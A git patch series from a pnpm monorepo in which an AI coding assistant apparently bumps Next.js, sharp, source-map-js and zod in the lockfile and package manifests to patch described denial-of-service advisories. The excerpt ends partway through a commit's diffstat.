{integrity: sha512-76VaGYvf6HPa5/w12yLkE3dXTn9AfdEviI79oEL3aZoAmRLc9rWitjWqyjViVysK/ht/y9YKzFkBrUdi/wGkow==} + '@next/swc-darwin-x64@16.4.1': + resolution: {integrity: sha512-/hqC3V1XLUjhMASf/WridKdO9FXoEgN3HBWmtKbj00MPgnltutfraWJ3bYTpCRIgEIpbjJyOVLpYgAhh/BkdcQ==} engines: {node: '>= 10'} cpu: [x64] os: [darwin] - '@next/swc-linux-arm64-gnu@16.3.5': - resolution: {integrity: sha512-zKDELJ5jSQMHeO/hmXUQsAzagX4bQD4OiMi3pQ5FbUj+yK506oLVHnKA2YXMlbg1EHHqJYtyePOgByIDXD1lqw==} + '@next/swc-linux-arm64-gnu@16.4.1': + resolution: {integrity: sha512-GHzncHbcaS9g95kcvTNtKQW3aCLoR+xc3Jm7qrkpk1R+D2BjMHIPyvQGRPKCdMX95BsH/421jBUK06q9tEwzjw==} engines: {node: '>= 10'} cpu: [arm64] os: [linux] - '@next/swc-linux-arm64-musl@16.3.5': - resolution: {integrity: sha512-7Vql0pgzCoHagv6+FNOZoqmJqA52c6zeVbhtS/47qFozO1MSx4ms7x7GHiciY8R5CDsSMKMQjJEryoJLcsBIbA==} + '@next/swc-linux-arm64-musl@16.4.1': + resolution: {integrity: sha512-1SuJyDxW/PR9dHJat/ZRgcYLhuSZ+1psP4DlKb2tKIuXbjygqpLrJWRSq+onZQBv8LcmU67EIrmb6c3XTaJLjw==} engines: {node: '>= 10'} cpu: [arm64] os: [linux] - '@next/swc-linux-x64-gnu@16.3.5': - resolution: {integrity: sha512-NH/xzehyHEFWE2nlcZon7TB/0+H4shfWCi7S1zka815XCOhJDYZhoeJtOYy0dh0WVRWACVXSyGNFFytoMxUhRg==} + '@next/swc-linux-x64-gnu@16.4.1': + resolution: {integrity: sha512-Istng1hMGp9TGO4lUqeKLd70MPN/OOkucVTP2Nmj+gLkwBgmPqUw8CJYBCC7nbl/B/23bBCcjCI5Hsh6hazC1A==} engines: {node: '>= 10'} cpu: [x64] os: [linux] - '@next/swc-linux-x64-musl@16.3.5': - resolution: {integrity: sha512-lV4+EhWMfS8jcC+EH2nn/Cm5cn6XsgbE07bU9tMH8fCo0tNAqhyzi1b5wQ/Tn6NGFTvKDY65w3ZH95EjwBRAnQ==} + '@next/swc-linux-x64-musl@16.4.1': + resolution: {integrity: sha512-aSC9wMNiZRRFVpPkPWBzRwLQxIGm/CiQcXyFF1XNcgodb+uMxdk7aSSGGpDXCbnvZdf4itjHxpOd5h7i7zaiYw==} engines: {node: '>= 10'} cpu: [x64] os: [linux] - '@next/swc-win32-arm64-msvc@16.3.5': - resolution: {integrity: sha512-/wKzAREX2RF++MhicjDbg8tGn2AiBIM0+EFeTFKoUEUbW5D6amCJehd5Z5G1H5/gxNdgnwoXMcHz24H/c2tGkQ==} + '@next/swc-win32-arm64-msvc@16.4.1': + resolution: {integrity: sha512-t/myvwFDlypMUjRvbBf8qLPyuaB0iXYYdBtwMt6DM6f+60wtGr4bSYholdPqNeV5VUXZhrpMwfza829kmhS3iA==} engines: {node: '>= 10'} cpu: [arm64] os: [win32] - '@next/swc-win32-x64-msvc@16.3.5': - resolution: {integrity: sha512-LNdCHzgLFc+UeqMS84LzXPaeBRKyqDN9OMyFAr1OrB0XrNw78IRrEVtZvvA7245W/HsaoeVOQX9jPjPk8jojwA==} + '@next/swc-win32-x64-msvc@16.4.1': + resolution: {integrity: sha512-6ICqPo9awCkrtYNPhwkx1uU7rlFWrZRrIboDHS2LU+jv088UBYQtmJ25h6pCp27/+FZjF6BQ4Te4ErugyMeuBg==} engines: {node: '>= 10'} cpu: [x64] os: [win32] @@ -2900,8 +2900,8 @@ packages: natural-compare@1.4.0: resolution: {integrity: sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==} - next@16.3.5: - resolution: {integrity: sha512-MdtsTgzyfCPRLC6uJ1mN8ao7lyJ4BB0U6Inhnx3gta1UcCIdHK3yxLG0E8OWQteWD8/Q0qb8A5o7wJaL8M9y2w==} + next@16.4.1: + resolution: {integrity: sha512-uc657V62E34fOI6W5NtG9IzwsPcms0Z60grz2MJGtglgD+pTFnNt4Yw2PzaU622tfX4vhrDgLZzicE2YlhI20Q==} engines: {node: '>=20.9.0'} hasBin: true peerDependencies: @@ -3109,8 +3109,8 @@ packages: setimmediate@1.0.5: resolution: {integrity: sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA==} - sharp@0.35.4: - resolution: {integrity: sha512-n++8XWcj+jCOr2IOl7h8LbKnGBDY4aPbmprMONBNFdn0ImXqpGVv5zliDs0V9HbmbCQLpbuo2ej9rAoOQTvMDA==} + sharp@0.35.5: + resolution: {integrity: sha512-Ywn4OnzGukp7CDMrp08RQ50YKmuwG47brZgIVPTvBaaAfQlRlygrRqSrxdCiL9M+LlzLBiJ68IR1QqvzHyjC7g==} engines: {node: '>=20.9.0'} peerDependencies: '@types/node': '*' @@ -3820,108 +3820,108 @@ snapshots: '@img/colour@1.1.0': optional: true - '@img/sharp-darwin-arm64@0.35.4': + '@img/sharp-darwin-arm64@0.35.5': optionalDependencies: - '@img/sharp-libvips-darwin-arm64': 1.3.3 + '@img/sharp-libvips-darwin-arm64': 1.3.4 optional: true - '@img/sharp-darwin-x64@0.35.4': + '@img/sharp-darwin-x64@0.35.5': optionalDependencies: - '@img/sharp-libvips-darwin-x64': 1.3.3 + '@img/sharp-libvips-darwin-x64': 1.3.4 optional: true - '@img/sharp-freebsd-wasm32@0.35.4': + '@img/sharp-freebsd-wasm32@0.35.5': dependencies: - '@img/sharp-wasm32': 0.35.4 + '@img/sharp-wasm32': 0.35.5 optional: true - '@img/sharp-libvips-darwin-arm64@1.3.3': + '@img/sharp-libvips-darwin-arm64@1.3.4': optional: true - '@img/sharp-libvips-darwin-x64@1.3.3': + '@img/sharp-libvips-darwin-x64@1.3.4': optional: true - '@img/sharp-libvips-linux-arm64@1.3.3': + '@img/sharp-libvips-linux-arm64@1.3.4': optional: true - '@img/sharp-libvips-linux-arm@1.3.3': + '@img/sharp-libvips-linux-arm@1.3.4': optional: true - '@img/sharp-libvips-linux-ppc64@1.3.3': + '@img/sharp-libvips-linux-ppc64@1.3.4': optional: true - '@img/sharp-libvips-linux-riscv64@1.3.3': + '@img/sharp-libvips-linux-riscv64@1.3.4': optional: true - '@img/sharp-libvips-linux-s390x@1.3.3': + '@img/sharp-libvips-linux-s390x@1.3.4': optional: true - '@img/sharp-libvips-linux-x64@1.3.3': + '@img/sharp-libvips-linux-x64@1.3.4': optional: true - '@img/sharp-libvips-linuxmusl-arm64@1.3.3': + '@img/sharp-libvips-linuxmusl-arm64@1.3.4': optional: true - '@img/sharp-libvips-linuxmusl-x64@1.3.3': + '@img/sharp-libvips-linuxmusl-x64@1.3.4': optional: true - '@img/sharp-linux-arm64@0.35.4': + '@img/sharp-linux-arm64@0.35.5': optionalDependencies: - '@img/sharp-libvips-linux-arm64': 1.3.3 + '@img/sharp-libvips-linux-arm64': 1.3.4 optional: true - '@img/sharp-linux-arm@0.35.4': + '@img/sharp-linux-arm@0.35.5': optionalDependencies: - '@img/sharp-libvips-linux-arm': 1.3.3 + '@img/sharp-libvips-linux-arm': 1.3.4 optional: true - '@img/sharp-linux-ppc64@0.35.4': + '@img/sharp-linux-ppc64@0.35.5': optionalDependencies: - '@img/sharp-libvips-linux-ppc64': 1.3.3 + '@img/sharp-libvips-linux-ppc64': 1.3.4 optional: true - '@img/sharp-linux-riscv64@0.35.4': + '@img/sharp-linux-riscv64@0.35.5': optionalDependencies: - '@img/sharp-libvips-linux-riscv64': 1.3.3 + '@img/sharp-libvips-linux-riscv64': 1.3.4 optional: true - '@img/sharp-linux-s390x@0.35.4': + '@img/sharp-linux-s390x@0.35.5': optionalDependencies: - '@img/sharp-libvips-linux-s390x': 1.3.3 + '@img/sharp-libvips-linux-s390x': 1.3.4 optional: true - '@img/sharp-linux-x64@0.35.4': + '@img/sharp-linux-x64@0.35.5': optionalDependencies: - '@img/sharp-libvips-linux-x64': 1.3.3 + '@img/sharp-libvips-linux-x64': 1.3.4 optional: true - '@img/sharp-linuxmusl-arm64@0.35.4': + '@img/sharp-linuxmusl-arm64@0.35.5': optionalDependencies: - '@img/sharp-libvips-linuxmusl-arm64': 1.3.3 + '@img/sharp-libvips-linuxmusl-arm64': 1.3.4 optional: true - '@img/sharp-linuxmusl-x64@0.35.4': + '@img/sharp-linuxmusl-x64@0.35.5': optionalDependencies: - '@img/sharp-libvips-linuxmusl-x64': 1.3.3 + '@img/sharp-libvips-linuxmusl-x64': 1.3.4 optional: true - '@img/sharp-wasm32@0.35.4': + '@img/sharp-wasm32@0.35.5': dependencies: '@emnapi/runtime': 1.11.3 optional: true - '@img/sharp-webcontainers-wasm32@0.35.4': + '@img/sharp-webcontainers-wasm32@0.35.5': dependencies: - '@img/sharp-wasm32': 0.35.4 + '@img/sharp-wasm32': 0.35.5 optional: true - '@img/sharp-win32-arm64@0.35.4': + '@img/sharp-win32-arm64@0.35.5': optional: true - '@img/sharp-win32-ia32@0.35.4': + '@img/sharp-win32-ia32@0.35.5': optional: true - '@img/sharp-win32-x64@0.35.4': + '@img/sharp-win32-x64@0.35.5': optional: true '@jridgewell/gen-mapping@0.3.13': @@ -3995,30 +3995,30 @@ snapshots: '@tybys/wasm-util': 0.10.3 optional: true - '@next/env@16.3.5': {} + '@next/env@16.4.1': {} - '@next/swc-darwin-arm64@16.3.5': + '@next/swc-darwin-arm64@16.4.1': optional: true - '@next/swc-darwin-x64@16.3.5': + '@next/swc-darwin-x64@16.4.1': optional: true - '@next/swc-linux-arm64-gnu@16.3.5': + '@next/swc-linux-arm64-gnu@16.4.1': optional: true - '@next/swc-linux-arm64-musl@16.3.5': + '@next/swc-linux-arm64-musl@16.4.1': optional: true - '@next/swc-linux-x64-gnu@16.3.5': + '@next/swc-linux-x64-gnu@16.4.1': optional: true - '@next/swc-linux-x64-musl@16.3.5': + '@next/swc-linux-x64-musl@16.4.1': optional: true - '@next/swc-win32-arm64-msvc@16.3.5': + '@next/swc-win32-arm64-msvc@16.4.1': optional: true - '@next/swc-win32-x64-msvc@16.3.5': + '@next/swc-win32-x64-msvc@16.4.1': optional: true '@opentelemetry/api@1.9.1': {} @@ -5063,9 +5063,9 @@ snapshots: natural-compare@1.4.0: {} - next@16.3.5(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(react-dom@19.3.0(react@19.3.0))(react@19.3.0): + next@16.4.1(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(react-dom@19.3.0(react@19.3.0))(react@19.3.0): dependencies: - '@next/env': 16.3.5 + '@next/env': 16.4.1 '@swc/helpers': 0.5.23 baseline-browser-mapping: 2.11.25 caniuse-lite: 1.0.30001810 @@ -5074,16 +5074,16 @@ snapshots: react-dom: 19.3.0(react@19.3.0) styled-jsx: 5.1.6(react@19.3.0) optionalDependencies: - '@next/swc-darwin-arm64': 16.3.5 - '@next/swc-darwin-x64': 16.3.5 - '@next/swc-linux-arm64-gnu': 16.3.5 - '@next/swc-linux-arm64-musl': 16.3.5 - '@next/swc-linux-x64-gnu': 16.3.5 - '@next/swc-linux-x64-musl': 16.3.5 - '@next/swc-win32-arm64-msvc': 16.3.5 - '@next/swc-win32-x64-msvc': 16.3.5 + '@next/swc-darwin-arm64': 16.4.1 + '@next/swc-darwin-x64': 16.4.1 + '@next/swc-linux-arm64-gnu': 16.4.1 + '@next/swc-linux-arm64-musl': 16.4.1 + '@next/swc-linux-x64-gnu': 16.4.1 + '@next/swc-linux-x64-musl': 16.4.1 + '@next/swc-win32-arm64-msvc': 16.4.1 + '@next/swc-win32-x64-msvc': 16.4.1 '@opentelemetry/api': 1.9.1 - sharp: 0.35.4(@types/node@24.13.3) + sharp: 0.35.5(@types/node@24.13.3) transitivePeerDependencies: - '@babel/core' - '@types/node' @@ -5263,37 +5263,37 @@ snapshots: setimmediate@1.0.5: {} - sharp@0.35.4(@types/node@24.13.3): + sharp@0.35.5(@types/node@24.13.3): dependencies: '@img/colour': 1.1.0 detect-libc: 2.1.2 semver: 7.8.5 optionalDependencies: - '@img/sharp-darwin-arm64': 0.35.4 - '@img/sharp-darwin-x64': 0.35.4 - '@img/sharp-freebsd-wasm32': 0.35.4 - '@img/sharp-libvips-darwin-arm64': 1.3.3 - '@img/sharp-libvips-darwin-x64': 1.3.3 - '@img/sharp-libvips-linux-arm': 1.3.3 - '@img/sharp-libvips-linux-arm64': 1.3.3 - '@img/sharp-libvips-linux-ppc64': 1.3.3 - '@img/sharp-libvips-linux-riscv64': 1.3.3 - '@img/sharp-libvips-linux-s390x': 1.3.3 - '@img/sharp-libvips-linux-x64': 1.3.3 - '@img/sharp-libvips-linuxmusl-arm64': 1.3.3 - '@img/sharp-libvips-linuxmusl-x64': 1.3.3 - '@img/sharp-linux-arm': 0.35.4 - '@img/sharp-linux-arm64': 0.35.4 - '@img/sharp-linux-ppc64': 0.35.4 - '@img/sharp-linux-riscv64': 0.35.4 - '@img/sharp-linux-s390x': 0.35.4 - '@img/sharp-linux-x64': 0.35.4 - '@img/sharp-linuxmusl-arm64': 0.35.4 - '@img/sharp-linuxmusl-x64': 0.35.4 - '@img/sharp-webcontainers-wasm32': 0.35.4 - '@img/sharp-win32-arm64': 0.35.4 - '@img/sharp-win32-ia32': 0.35.4 - '@img/sharp-win32-x64': 0.35.4 + '@img/sharp-darwin-arm64': 0.35.5 + '@img/sharp-darwin-x64': 0.35.5 + '@img/sharp-freebsd-wasm32': 0.35.5 + '@img/sharp-libvips-darwin-arm64': 1.3.4 + '@img/sharp-libvips-darwin-x64': 1.3.4 + '@img/sharp-libvips-linux-arm': 1.3.4 + '@img/sharp-libvips-linux-arm64': 1.3.4 + '@img/sharp-libvips-linux-ppc64': 1.3.4 + '@img/sharp-libvips-linux-riscv64': 1.3.4 + '@img/sharp-libvips-linux-s390x': 1.3.4 + '@img/sharp-libvips-linux-x64': 1.3.4 + '@img/sharp-libvips-linuxmusl-arm64': 1.3.4 + '@img/sharp-libvips-linuxmusl-x64': 1.3.4 + '@img/sharp-linux-arm': 0.35.5 + '@img/sharp-linux-arm64': 0.35.5 + '@img/sharp-linux-ppc64': 0.35.5 + '@img/sharp-linux-riscv64': 0.35.5 + '@img/sharp-linux-s390x': 0.35.5 + '@img/sharp-linux-x64': 0.35.5 + '@img/sharp-linuxmusl-arm64': 0.35.5 + '@img/sharp-linuxmusl-x64': 0.35.5 + '@img/sharp-webcontainers-wasm32': 0.35.5 + '@img/sharp-win32-arm64': 0.35.5 + '@img/sharp-win32-ia32': 0.35.5 + '@img/sharp-win32-x64': 0.35.5 '@types/node': 24.13.3 optional: true From 1a4d14dd1898c6f00a5f1d282cd3f47157c2fc30 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:55:18 +0000 Subject: [PATCH 26/91] fix(deps): refresh source-map-js to 1.2.2 in the lockfile GHSA-68fv-2mgg-jv7q (high, CVE-2026-93749): event-loop denial of service through indexed source-map section offsets in source-map-js <1.2.2. It is only reached transitively (next > postcss > source-map-js, and the postcss used by the Tailwind/PostCSS build). Every parent already allows ^1.2.1, so 1.2.2 satisfies the existing ranges and no direct bump or permanent override is needed: this is a lockfile-only refresh of that one package. It was produced with a temporary pnpm override that was removed again, so the lockfile carries no `overrides` block and no other package moved. source-map-js is a build-time dependency of the CSS pipeline; it does not parse untrusted source maps at runtime in our services. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- pnpm-lock.yaml | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 0c53726..e8f2244 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -3132,8 +3132,8 @@ packages: sonic-boom@4.2.1: resolution: {integrity: sha512-w6AxtubXa2wTXAUsZMMWERrsIRAdrK0Sc+FUytWvYAhBJLyuI4llrMIC1DtlNSdI99EI86KZum2MMq3EAZlF9Q==} - source-map-js@1.2.1: - resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==} + source-map-js@1.2.2: + resolution: {integrity: sha512-KGj/8Y43x35aZVDtt+J4mK1hoLGHULMYfSkODJNQjNDC3oW1PqPoxMwo0pLUsWM/UEGzON/NxeHywEfNXNP3Vw==} engines: {node: '>=0.10.0'} source-map-support@0.5.21: @@ -4148,7 +4148,7 @@ snapshots: jiti: 2.7.0 lightningcss: 1.32.0 magic-string: 0.30.21 - source-map-js: 1.2.1 + source-map-js: 1.2.2 tailwindcss: 4.3.3 '@tailwindcss/oxide-android-arm64@4.3.3': @@ -5163,13 +5163,13 @@ snapshots: dependencies: nanoid: 3.3.19 picocolors: 1.1.1 - source-map-js: 1.2.1 + source-map-js: 1.2.2 postcss@8.5.28: dependencies: nanoid: 3.3.19 picocolors: 1.1.1 - source-map-js: 1.2.1 + source-map-js: 1.2.2 postgres@3.4.9: {} @@ -5309,7 +5309,7 @@ snapshots: dependencies: atomic-sleep: 1.0.0 - source-map-js@1.2.1: {} + source-map-js@1.2.2: {} source-map-support@0.5.21: dependencies: From 9aac8af0e46aad5ce815a304a401839533dfa170 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:57:37 +0000 Subject: [PATCH 27/91] fix(deps): bump zod to 4.6.6 across all workspace packages GHSA-mrhx-c7xc-m3w5 (high, CVE-2023-54404): zod <4.6.6 can exhaust memory when validating a large array against an array schema, because $ZodArray's handleArrayResult accumulates one issue object per failing element with no cap. Patched in 4.6.6. We are exposed: @atlas/types alone defines 23 unbounded z.array(...) schemas that every Fastify service uses to validate request bodies. There is no patch inside the 4.4.x line (the first fixed release is 4.6.6), so this is the smallest fix. It stays on zod 4.x, so it is not a major upgrade, and the old ^4.4.3 range already allowed it. All 15 manifests that declare zod (web, admin, config, types, utils and the 10 services) move together to ^4.6.6 and the lockfile resolves a single zod@4.6.6. 4.6.7 exists but is not needed for the advisory. Verified: root typecheck, lint, and the full vitest suite (38 files, 239 tests, DB-backed) are green. A scratch esbuild run with the same options as scripts/bundle-backend.mjs builds all 9 service bundles with zod 4.6.6 inlined. NOTE: the committed api/*/index.js bundles still inline zod 4.4.3 until `node scripts/bundle-backend.mjs` is re-run and committed, which CI's bundle freshness check will also require. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- apps/admin/package.json | 2 +- apps/web/package.json | 2 +- packages/config/package.json | 2 +- packages/types/package.json | 2 +- packages/utils/package.json | 2 +- pnpm-lock.yaml | 66 +++++++++++++++--------------- services/analytics/package.json | 2 +- services/applications/package.json | 2 +- services/auth/package.json | 2 +- services/connectors/package.json | 2 +- services/jobs/package.json | 2 +- services/learning/package.json | 2 +- services/matching/package.json | 2 +- services/outreach/package.json | 2 +- services/profile/package.json | 2 +- services/referrals/package.json | 2 +- 16 files changed, 48 insertions(+), 48 deletions(-) diff --git a/apps/admin/package.json b/apps/admin/package.json index 735e13f..3f24680 100644 --- a/apps/admin/package.json +++ b/apps/admin/package.json @@ -19,7 +19,7 @@ "next": "^16.4.1", "react": "^19.3.0", "react-dom": "^19.3.0", - "zod": "^4.4.3" + "zod": "^4.6.6" }, "devDependencies": { "@tailwindcss/postcss": "^4.3.3", diff --git a/apps/web/package.json b/apps/web/package.json index 5b963ee..cda116f 100644 --- a/apps/web/package.json +++ b/apps/web/package.json @@ -19,7 +19,7 @@ "next": "^16.4.1", "react": "^19.3.0", "react-dom": "^19.3.0", - "zod": "^4.4.3" + "zod": "^4.6.6" }, "devDependencies": { "@tailwindcss/postcss": "^4.3.3", diff --git a/packages/config/package.json b/packages/config/package.json index 6e6d247..e0962fb 100644 --- a/packages/config/package.json +++ b/packages/config/package.json @@ -7,6 +7,6 @@ ".": "./src/index.ts" }, "dependencies": { - "zod": "^4.4.3" + "zod": "^4.6.6" } } diff --git a/packages/types/package.json b/packages/types/package.json index 7047db1..0656fab 100644 --- a/packages/types/package.json +++ b/packages/types/package.json @@ -7,6 +7,6 @@ ".": "./src/index.ts" }, "dependencies": { - "zod": "^4.4.3" + "zod": "^4.6.6" } } diff --git a/packages/utils/package.json b/packages/utils/package.json index dadae6e..aadf30a 100644 --- a/packages/utils/package.json +++ b/packages/utils/package.json @@ -9,6 +9,6 @@ "dependencies": { "@atlas/types": "workspace:*", "pino": "^10.3.1", - "zod": "^4.4.3" + "zod": "^4.6.6" } } diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index e8f2244..148127c 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -73,8 +73,8 @@ importers: specifier: ^19.3.0 version: 19.3.0(react@19.3.0) zod: - specifier: ^4.4.3 - version: 4.4.3 + specifier: ^4.6.6 + version: 4.6.6 devDependencies: '@tailwindcss/postcss': specifier: ^4.3.3 @@ -125,8 +125,8 @@ importers: specifier: ^19.3.0 version: 19.3.0(react@19.3.0) zod: - specifier: ^4.4.3 - version: 4.4.3 + specifier: ^4.6.6 + version: 4.6.6 devDependencies: '@tailwindcss/postcss': specifier: ^4.3.3 @@ -171,8 +171,8 @@ importers: packages/config: dependencies: zod: - specifier: ^4.4.3 - version: 4.4.3 + specifier: ^4.6.6 + version: 4.6.6 packages/db: dependencies: @@ -228,8 +228,8 @@ importers: packages/types: dependencies: zod: - specifier: ^4.4.3 - version: 4.4.3 + specifier: ^4.6.6 + version: 4.6.6 packages/ui: dependencies: @@ -277,8 +277,8 @@ importers: specifier: ^10.3.1 version: 10.3.1 zod: - specifier: ^4.4.3 - version: 4.4.3 + specifier: ^4.6.6 + version: 4.6.6 services/analytics: dependencies: @@ -319,8 +319,8 @@ importers: specifier: ^3.4.9 version: 3.4.9 zod: - specifier: ^4.4.3 - version: 4.4.3 + specifier: ^4.6.6 + version: 4.6.6 devDependencies: jose: specifier: ^6.2.12 @@ -368,8 +368,8 @@ importers: specifier: ^3.4.9 version: 3.4.9 zod: - specifier: ^4.4.3 - version: 4.4.3 + specifier: ^4.6.6 + version: 4.6.6 devDependencies: jose: specifier: ^6.2.12 @@ -414,8 +414,8 @@ importers: specifier: ^3.4.9 version: 3.4.9 zod: - specifier: ^4.4.3 - version: 4.4.3 + specifier: ^4.6.6 + version: 4.6.6 devDependencies: tsx: specifier: ^4.23.1 @@ -460,8 +460,8 @@ importers: specifier: ^3.4.9 version: 3.4.9 zod: - specifier: ^4.4.3 - version: 4.4.3 + specifier: ^4.6.6 + version: 4.6.6 devDependencies: jose: specifier: ^6.2.12 @@ -512,8 +512,8 @@ importers: specifier: ^3.4.9 version: 3.4.9 zod: - specifier: ^4.4.3 - version: 4.4.3 + specifier: ^4.6.6 + version: 4.6.6 devDependencies: jose: specifier: ^6.2.12 @@ -561,8 +561,8 @@ importers: specifier: ^3.4.9 version: 3.4.9 zod: - specifier: ^4.4.3 - version: 4.4.3 + specifier: ^4.6.6 + version: 4.6.6 devDependencies: jose: specifier: ^6.2.12 @@ -607,8 +607,8 @@ importers: specifier: ^3.4.9 version: 3.4.9 zod: - specifier: ^4.4.3 - version: 4.4.3 + specifier: ^4.6.6 + version: 4.6.6 devDependencies: tsx: specifier: ^4.23.1 @@ -653,8 +653,8 @@ importers: specifier: ^3.4.9 version: 3.4.9 zod: - specifier: ^4.4.3 - version: 4.4.3 + specifier: ^4.6.6 + version: 4.6.6 devDependencies: jose: specifier: ^6.2.12 @@ -717,8 +717,8 @@ importers: specifier: ^3.4.9 version: 3.4.9 zod: - specifier: ^4.4.3 - version: 4.4.3 + specifier: ^4.6.6 + version: 4.6.6 devDependencies: jose: specifier: ^6.2.12 @@ -766,8 +766,8 @@ importers: specifier: ^3.4.9 version: 3.4.9 zod: - specifier: ^4.4.3 - version: 4.4.3 + specifier: ^4.6.6 + version: 4.6.6 devDependencies: jose: specifier: ^6.2.12 @@ -3371,8 +3371,8 @@ packages: resolution: {integrity: sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==} engines: {node: '>=10'} - zod@4.4.3: - resolution: {integrity: sha512-ytENFjIJFl2UwYglde2jchW2Hwm4GJFLDiSXWdTrJQBIN9Fcyp7n4DhxJEiWNAJMV1/BqWfW/kkg71UDcHJyTQ==} + zod@4.6.6: + resolution: {integrity: sha512-4UmzQUF5fxvfcYHlbjBmejU+w+hbDnWFx4aS8kBx7nPBHcO2SqPbpAG8snbdg+Xse4pRefR98hgjFgIMCI/UhA==} snapshots: @@ -5478,4 +5478,4 @@ snapshots: yocto-queue@0.1.0: {} - zod@4.4.3: {} + zod@4.6.6: {} diff --git a/services/analytics/package.json b/services/analytics/package.json index fc6e00b..efc2025 100644 --- a/services/analytics/package.json +++ b/services/analytics/package.json @@ -20,7 +20,7 @@ "drizzle-orm": "^0.45.2", "fastify": "^5.12.5", "postgres": "^3.4.9", - "zod": "^4.4.3" + "zod": "^4.6.6" }, "devDependencies": { "jose": "^6.2.12", diff --git a/services/applications/package.json b/services/applications/package.json index c4a85eb..2425f2c 100644 --- a/services/applications/package.json +++ b/services/applications/package.json @@ -20,7 +20,7 @@ "drizzle-orm": "^0.45.2", "fastify": "^5.12.5", "postgres": "^3.4.9", - "zod": "^4.4.3" + "zod": "^4.6.6" }, "devDependencies": { "jose": "^6.2.12", diff --git a/services/auth/package.json b/services/auth/package.json index 7e53b47..7431249 100644 --- a/services/auth/package.json +++ b/services/auth/package.json @@ -19,7 +19,7 @@ "drizzle-orm": "^0.45.2", "fastify": "^5.12.5", "postgres": "^3.4.9", - "zod": "^4.4.3" + "zod": "^4.6.6" }, "devDependencies": { "tsx": "^4.23.1" diff --git a/services/connectors/package.json b/services/connectors/package.json index 71facce..2312921 100644 --- a/services/connectors/package.json +++ b/services/connectors/package.json @@ -20,7 +20,7 @@ "drizzle-orm": "^0.45.2", "fastify": "^5.12.5", "postgres": "^3.4.9", - "zod": "^4.4.3" + "zod": "^4.6.6" }, "devDependencies": { "jose": "^6.2.12", diff --git a/services/jobs/package.json b/services/jobs/package.json index c6e9e91..4e76029 100644 --- a/services/jobs/package.json +++ b/services/jobs/package.json @@ -21,7 +21,7 @@ "drizzle-orm": "^0.45.2", "fastify": "^5.12.5", "postgres": "^3.4.9", - "zod": "^4.4.3" + "zod": "^4.6.6" }, "devDependencies": { "jose": "^6.2.12", diff --git a/services/learning/package.json b/services/learning/package.json index b376245..f87ef56 100644 --- a/services/learning/package.json +++ b/services/learning/package.json @@ -20,7 +20,7 @@ "drizzle-orm": "^0.45.2", "fastify": "^5.12.5", "postgres": "^3.4.9", - "zod": "^4.4.3" + "zod": "^4.6.6" }, "devDependencies": { "jose": "^6.2.12", diff --git a/services/matching/package.json b/services/matching/package.json index cc52246..4db01a6 100644 --- a/services/matching/package.json +++ b/services/matching/package.json @@ -19,7 +19,7 @@ "drizzle-orm": "^0.45.2", "fastify": "^5.12.5", "postgres": "^3.4.9", - "zod": "^4.4.3" + "zod": "^4.6.6" }, "devDependencies": { "tsx": "^4.23.1" diff --git a/services/outreach/package.json b/services/outreach/package.json index 46a9923..691e42a 100644 --- a/services/outreach/package.json +++ b/services/outreach/package.json @@ -20,7 +20,7 @@ "drizzle-orm": "^0.45.2", "fastify": "^5.12.5", "postgres": "^3.4.9", - "zod": "^4.4.3" + "zod": "^4.6.6" }, "devDependencies": { "jose": "^6.2.12", diff --git a/services/profile/package.json b/services/profile/package.json index a6cfec7..9bfc2d4 100644 --- a/services/profile/package.json +++ b/services/profile/package.json @@ -25,7 +25,7 @@ "mammoth": "^1.12.3", "pdf-parse": "^2.4.5", "postgres": "^3.4.9", - "zod": "^4.4.3" + "zod": "^4.6.6" }, "devDependencies": { "jose": "^6.2.12", diff --git a/services/referrals/package.json b/services/referrals/package.json index dc5b17f..2868f39 100644 --- a/services/referrals/package.json +++ b/services/referrals/package.json @@ -20,7 +20,7 @@ "drizzle-orm": "^0.45.2", "fastify": "^5.12.5", "postgres": "^3.4.9", - "zod": "^4.4.3" + "zod": "^4.6.6" }, "devDependencies": { "jose": "^6.2.12", From 59b1e656024662bf82b81a143a83e7d7bc73dfed Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:04:30 +0000 Subject: [PATCH 28/91] chore(deps): align admin-service on zod 4.6.6, repair lockfile, rebundle The dependency-patch stream bumped zod to ^4.6.6 (GHSA-mrhx-c7xc-m3w5) in every manifest that existed then; services/admin arrived in a parallel stream still declaring ^4.4.3, which left the merged lockfile broken. Bump it, let pnpm repair the lockfile, and regenerate the committed bundles (they inline zod). pnpm audit --prod --audit-level=high now exits 0. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- api/admin/index.js | 10830 ++++++++++++++++++++-------- api/analytics/index.js | 10904 ++++++++++++++++++++-------- api/applications/index.js | 10924 ++++++++++++++++++++-------- api/auth/index.js | 10816 ++++++++++++++++++++-------- api/jobs/index.js | 10912 ++++++++++++++++++++-------- api/learning/index.js | 10904 ++++++++++++++++++++-------- api/matching/index.js | 10870 ++++++++++++++++++++-------- api/outreach/index.js | 10908 ++++++++++++++++++++-------- api/profile/index.js | 13022 ++++++++++++++++++++++++---------- api/referrals/index.js | 10908 